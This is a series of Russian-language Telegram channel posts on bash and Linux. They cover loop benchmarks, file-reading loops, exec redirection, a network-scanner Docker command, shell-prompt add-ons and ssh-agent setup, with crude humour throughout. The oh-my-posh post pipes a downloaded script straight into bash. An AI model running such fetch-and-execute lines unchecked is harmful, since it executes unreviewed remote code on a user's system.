Практика так сказать — ХУЙНЯ ПОЛНАЯ. Но если критикуешь, предлагай!
Оказывается давным-давно я случайно изобрел свою практику, которую в шутку назвал «Тюленинг».
Суть этой практики полная противоположность «Помодоро». То есть ты работаешь 5 минут и 30 минут отдыхаешь, повторяешь до бесконечности.
В чем плюсы «Тюленинга»?
Главная киллер фича — спустя пару часов нихуя не делания тебе становится скучно и возникает желание поработать. Это желание обычно появляется внезапно. Либо не появляется, тогда практикуешь «тюленинг» дальше.
И как только появилось желание, беги за комп и пили таски. Твой KPI будет прокачен на 100500%, мозг раскочегарен на азарте и в жопе будет приятный зуд.
Двухнедельный спринт закроешь буквально за полчаса. Без хуйни!
Думаешь это прикол такой? Неа! Сегодня лично провел эксперимент, практика работает — идеально!
В общей сложности я провалялся часов 8 + 30 минут ушло на работу + три раза пообедал. Завтра обязательно повторю!
Попробуй, тебе понравится!
#рабочиебудни
—
Please open Telegram to view this post
VIEW IN TELEGRAM
17 136 34
- Ты такой душный...
- Не могли бы вы поподробнее разъяснить мне, в чём конкретно это выражается?
AMD E1-6010 6Gb Swap 0
Сегодня будем собирать пенки на кабачковой икре и протестируем несколько циклов.
Скрипт для тестирования циклов. Каждый цикл выводит два числа.
Первое - число секунд от начала цикла до вывода первого значения.
Второе - число секунд длительности цикла.
Если решите перетестировать у себя - обратите внимание, что в циклах
FOR0 и GAWK число итераций прописаны константами.В остальных - через переменную
MAX. Меняйте синхронно. Выводы будут в конце. Рекомендую рассмотреть код.Может найдете для себя что-то новое. Да, у некоторых циклов обратный порядок. Это для случаев, когда переменная цикла не используется, а важно количество итераций.
#!/bin/bash
declare -i MAX=5000000
declare -i MA1=MAX+1
declare -i Z0=0
declare -i Z1=1
declare -i P
declare LOG=./log.txt
declare LOOPNAME
clear
LOOPNAME=FOR0
P=0
SECONDS=0
for i in {1..5000000};do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR1
P=0
SECONDS=0
for i in $(seq $Z1 $MAX);do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR2
P=0
SECONDS=0
seq $Z1 $MAX|for i in $(</dev/stdin);do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR3
P=0
SECONDS=0
for ((i=$Z0;i++<$MAX;));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR4
P=0
SECONDS=0
for ((i=$MAX;i--!=0;));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=FOR5
P=0
SECONDS=0
for ((i=$Z1;i<$MA1;i++));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=WHL0
P=0
i=$Z0
SECONDS=0
while ((i++<$MAX));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
LOOPNAME=WHL1
P=0
i=$MAX
SECONDS=0
while ((i--));do
if [[ $P -eq 0 ]];then
echo $LOOPNAME $SECONDS
P=1
fi
done
echo $LOOPNAME $SECONDS
gawk 'BEGIN{p=0
for(i = 1;i < 5000000;i++){
if(p==0)
print "GAWK 0";p++}
}'
gawk 'BEGIN{t=systime();p=0
for(i = 1;i < 5000000;i++){
if(p==0){
print "GAWK " systime()-t;p++}
}
print "GAWK "systime()-t}'
FOR0 14
FOR0 76
FOR1 11
FOR1 72
FOR2 10
FOR2 53
FOR3 0
FOR3 97
FOR5 0
FOR5 103
WHL0 0
WHL0 100
WHL1 0
WHL1 78
--- Я немного отделил, поскольку
gawk не совсем bash, но привел для примера.GAWK 0
GAWK 2 (тут реально 1.6) но баш оперирует целыми.
Выводы:
1. Самый быстрый -
FOR2 for in (seq)2. Самый медленный -
FOR5 (сишный классический)3. Несмотря на небольшие разницы в скорости выполнения скорость циклов соизмерима.
4. Циклы
for in - ВНАЧАЛЕ получают полный список значений (в памяти) потом быстро его перебирают.4.1 Эти циклы жрут больше памяти, в случае нахватки - может быть критическая потеря производительности при использовании swap.
4.2 У этих циклов может быть большая задержка на инициализацию цикла. Это может быть критичным - если сам цикл большой, но очень часто происходит прерывание цикла в самом начале.
5.
awk (а gawk самый медленный awk) значительно быстрее bash. Если скорость в приоритете - используйте его.6. Цикл
FOR0 вообще нежелательно применять, постокольку пределы цикла и инкремент нельзя задать переменными. только константы. Но сам конструкт {1..5} применять можно и даже нужно в подстановках (но не циклах). Например: ls text{9..27}.txt.7. Главное помнить, что скорость выполнения определяется не скоростью самого цикла, а оптимизацией его тела.
Продолжение следует...
tags: #bash © by Tagd Tagd
—
Please open Telegram to view this post
VIEW IN TELEGRAM
11 37 7
Сегодня разберем, чем отличаются различные циклы при работе с файлами.
Сохраняем в файл
Создаем файл из пяти нумерованных строк.
Блок
Блок
Запускаем:
Часть срок второго цикла потерялась. ENTER нажимать никто не просил.
Все дело в том, что циклы работают принципиально по-разному.
Цикл
Цикл
Продолжение следует...
tags: #bash © by Tagd Tagd
—
🔔 @bashdays➡️ @gitgate
#!/bin/bash
seq 1 5 >file.txt
for i in $(<file.txt);do
echo $i
read -p 'press ENTER'
done
echo ---
while read i;do
echo $i
read -p 'press ENTER'
done <file.txt
rm file.txt
#--
Сохраняем в файл
loop3.shchmod +x loop3.sh
Создаем файл из пяти нумерованных строк.
seq 1 5 > file.txt
Блок
for: читаем файл, и выводим построчно. После каждой строки жмем ENTER для продолжения.Блок
while - тело цикла - один в один.Запускаем:
./loop3.sh1
press ENTER
2
press ENTER
3
press ENTER
4
press ENTER
5
press ENTER
---
1
3
5
Часть срок второго цикла потерялась. ENTER нажимать никто не просил.
Все дело в том, что циклы работают принципиально по-разному.
Цикл
for in сначала вычисляет/считывает все значения для перебора в память, потом начинает с ними работать.Цикл
while(until) читает последовательно, по одному значению. Мало того в данном случае цикл работает НЕ С ФАЙЛОМ НАПРЯМУЮ, а с stdin, (куда мы перенаправляем файл) поэтому любое чтение stdin приводит к чтению записи файла. Результат вы видели.Продолжение следует...
tags: #bash © by Tagd Tagd
—
Please open Telegram to view this post
VIEW IN TELEGRAM
7 37 11
This media is not supported in your browser
VIEW IN TELEGRAM
Всех с пятницей!
Проект Linux Factory большинству прям зашёл!
😲 На этом хорошие новости заканчиваются.
Потому что через несколько дней перестают действовать летние скидки и ценник для новеньких улетает в космос (в 2 раза).
Но ты еще можешь успеть запрыгнуть в последний вагон.
Делать ничо не надо, запускаешь бота, жмакаешь кнопочки и ты в пантеоне. Познаешь бест-практики и решаешь интересные задачки.
Короче просто напоминалка.
А кто уже в LF, не забудь продлить членство, в боте есть кнопочка — Продлить подписку.
Хороших тебе предстоящих выходных и береги себя!
Проект Linux Factory большинству прям зашёл!
Потому что через несколько дней перестают действовать летние скидки и ценник для новеньких улетает в космос (в 2 раза).
Но ты еще можешь успеть запрыгнуть в последний вагон.
Делать ничо не надо, запускаешь бота, жмакаешь кнопочки и ты в пантеоне. Познаешь бест-практики и решаешь интересные задачки.
Короче просто напоминалка.
А кто уже в LF, не забудь продлить членство, в боте есть кнопочка — Продлить подписку.
Хороших тебе предстоящих выходных и береги себя!
Please open Telegram to view this post
VIEW IN TELEGRAM
21 30 12
Ну вот и отгуляли лето, впереди новый учебный год, подъемы в 6 утра и ожидание выходных. Но есть и плюсы, хотя…
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
Не забываем забить свои переменные. На вебморду можно попасть так:
В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.
Официальная репка на гитхабе тут
tags: #utilites
—
🔔 @bashdays➡️ @gitgate
Ладно, сегодня я тебе принес WatchYourLAN.
Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.
ㅤ
На днях выкатили вторую версию.
Основные фишки:
- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2
Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.
Охуенно! Чем бы дитя не тешилось.
Запускается прям с докера одной командой:
docker run --name wyl \
-e "IFACES=$YOURIFACE" \
-e "TZ=$YOURTIMEZONE" \
--network="host" \
-v $DOCKERDATAPATH/wyl:/data/WatchYourLAN \
aceberg/watchyourlan:v2
Не забываем забить свои переменные. На вебморду можно попасть так:
< IP >:8844
В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.
Официальная репка на гитхабе тут
tags: #utilites
—
Please open Telegram to view this post
VIEW IN TELEGRAM
8 48 18
Когда собирался писать об этом операторе на ум пришла считалочка, которой меня научили в пионерском лагере.
А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.
Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.
Вот, а сейчас говорят, что пионеров ничему хорошему не учили...
Есть два варианта использования:
1.
пример:
2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.
В Basic
В bash
В Basic
В bash
В Basic
В bash
В Basic
В bash
Приведу несколько полезных примеров
На код ошибки (типа errorlevel) это не влияет.
Стоп-стоп. Откуда взялся
Все помнят, что
Пример:
Если нужно закрыть 4, например, дескриптор за ненадобностью
tags: #bash © by Tagd Tagd
—
🔔 @bashdays➡️ @gitgate
А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.
Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.
Вот, а сейчас говорят, что пионеров ничему хорошему не учили...
exec.Есть два варианта использования:
1.
exec command — билет в один конец. Для чего это нужно я так и не понял, может умные в комментах напишут. Перед выполнением команды, bash фактически завершается, управление передаётся команде. И все...пример:
exec echo 123 — результат очень красочный. Такой же, как и с любой другой командой.2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.
В Basic
open "filename.txt" for input as #3В bash
exec 3<fileneme.txtВ Basic
open "filename.txt" for output as #4В bash
exec 4>filename.txtВ Basic
open "filename.txt" for append as #5В bash
exec 5>>filename.txtВ Basic
open "filename.txt" for random as #6В bash
exec 6<>filename.txtПриведу несколько полезных примеров
exec 2>/dev/null — все сообщения об ошибках отправить по пути, указанному в считалочке.На код ошибки (типа errorlevel) это не влияет.
exec 1>filename.txt все сообщения, кроме ошибок отправить в файл.exec 1>filename.txt 2>&1 все сообщения, включая ошибки отправить в файл.Стоп-стоп. Откуда взялся
&? Легко запомнить. Это костыль. Если вы не укажите &, сообщения попадут в файл с именем "1".Все помнят, что
0=/dev/stdin 1=/dev/stdout 2=/dev/stderr. Остальные 3-9 можем использовать по собственному усмотрению.Пример:
#!/bin/bash
seq 1 3|tee 1.txt > 2.txt
exec 3<1.txt
while read -u3 L1;do
exec 4<2.txt
while read -u4 L2;do
echo $L1 $L2
done
done
seq — создаем два файла, по три строки в каждомexec 3<1.txt - открываем файл для чтения с дескриптором 3read -u3 L1 читаем из файла с дескриптором 3. Дальше все аналогично.Если нужно закрыть 4, например, дескриптор за ненадобностью
exec 4>&-man tee seq
help while read exec
tags: #bash © by Tagd Tagd
—
Please open Telegram to view this post
VIEW IN TELEGRAM
10 30 19
После того как я проверил на себе Suicide Linux, я всё проебал. Пришлось с нуля настраивать всё окружение.
В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.
ㅤ
Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через
И нашел я BLE.sh (Bash Line Editor). Звучит же?
Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.
Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в
Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.
Бле так Бле!
В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.
Но как быть со сфистоперделками и новогодними ёлками? Там оформление добавить, нерд-фонты и т.п.
Ха, на этот случай есть штука oh-my-posh.
Ставится так:
Дополнительно ставишь темы оформления. Ну и потом не забываем всё это дело подключить в
В ключик
Темы визуально позырить тут. Итог ты можешь посмотреть на скриншоте к посту.
А завтра покажу как для всего этого дела ещё одну очень полезную штуку прикрутить.
tags: #utilites #рабочиебудни #bash
—
🔔 @bashdays➡️ @gitgate
В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.
ㅤ
Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через
.bashrc хуй поставишь.И нашел я BLE.sh (Bash Line Editor). Звучит же?
Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.
Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в
~/.profile подключаешь. Выглядит это так:git clone --recursive https://github.com/akinomyoga/ble.sh.git
make -C ble.sh
echo "source ble.sh/out/ble.sh" >> ~/.profile
Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.
Бле так Бле!
В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.
Но как быть со сфистоперделками и новогодними ёлками? Там оформление добавить, нерд-фонты и т.п.
Ха, на этот случай есть штука oh-my-posh.
Ставится так:
curl -s https://ohmyposh.dev/install.sh | bash -s
mkdir ~/.poshthemes
wget https://github.com/JanDeDobbeleer/oh-my-posh/releases/latest/download/themes.zip -O ~/.poshthemes/themes.zip
unzip ~/.poshthemes/themes.zip -d ~/.poshthemes
chmod u+rw ~/.poshthemes/*.omp.*
rm ~/.poshthemes/themes.zip
Дополнительно ставишь темы оформления. Ну и потом не забываем всё это дело подключить в
~/.profileeval "$(oh-my-posh --init --shell bash --config ~/.poshthemes/capr4n.omp.json)"
В ключик
--config вставляем название понравившейся темы. Ну и оболочку указываем, я естественно захуярил туда bash. Темы визуально позырить тут. Итог ты можешь посмотреть на скриншоте к посту.
А завтра покажу как для всего этого дела ещё одну очень полезную штуку прикрутить.
tags: #utilites #рабочиебудни #bash
—
Please open Telegram to view this post
VIEW IN TELEGRAM
12 70 14
Привет. В дополнение к предыдущему посту про свистоперделки.
Чтобы каждый раз не вводить такую дичь:
Ключик можно автоматически добавлять в ssh-agent и тогда подключение будет выглядеть так:
Чтобы это провернуть, прописываем в ~/.profile
Первый блок проверяет запущен ли SSH агент, а если нет — запускает его.
ㅤ
Второй блок добавляет нужные ключи в агент. Посмотреть все ключи в агенте можешь командой
Вот и вся наука. Ну а теперь интерактивная часть.
Ну а чтоб тебе не скучно было, можешь написать башник и скинуть в комменты, который автоматически пробегается по всем ключам в папке ~/.ssh и добавляет их в агент.
Но учти что в этой папке могут быть косячные ключи, ключи с неправильными правами, да и всякие файлы вида config, known_hosts. Короче потребуется работа с эксепшенами.
Чей коммент с решением соберет больше всех реакций и будет заебись работать, закину приятный бонус. Поехали!
tags: #utilites #рабочиебудни #bash
—
🔔 @bashdays➡️ @gitgate
Чтобы каждый раз не вводить такую дичь:
ssh -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxx
Ключик можно автоматически добавлять в ssh-agent и тогда подключение будет выглядеть так:
ssh user@xxx.xxx.xxx.xxx
Чтобы это провернуть, прописываем в ~/.profile
if [ -z "$SSH_AUTH_SOCK" ]; then
eval $(ssh-agent -s) > ~/.ssh/ssh-agent
fi
ssh-add ~/.ssh/gitlab_rsa
ssh-add ~/.ssh/production_rsa
ssh-add ~/.ssh/home_rsa
Первый блок проверяет запущен ли SSH агент, а если нет — запускает его.
ㅤ
Второй блок добавляет нужные ключи в агент. Посмотреть все ключи в агенте можешь командой
ssh-add -L, а удалить всё из агента можно командой ssh-add -D. Вот и вся наука. Ну а теперь интерактивная часть.
Ну а чтоб тебе не скучно было, можешь написать башник и скинуть в комменты, который автоматически пробегается по всем ключам в папке ~/.ssh и добавляет их в агент.
Но учти что в этой папке могут быть косячные ключи, ключи с неправильными правами, да и всякие файлы вида config, known_hosts. Короче потребуется работа с эксепшенами.
Чей коммент с решением соберет больше всех реакций и будет заебись работать, закину приятный бонус. Поехали!
tags: #utilites #рабочиебудни #bash
—
Please open Telegram to view this post
VIEW IN TELEGRAM
14 35 12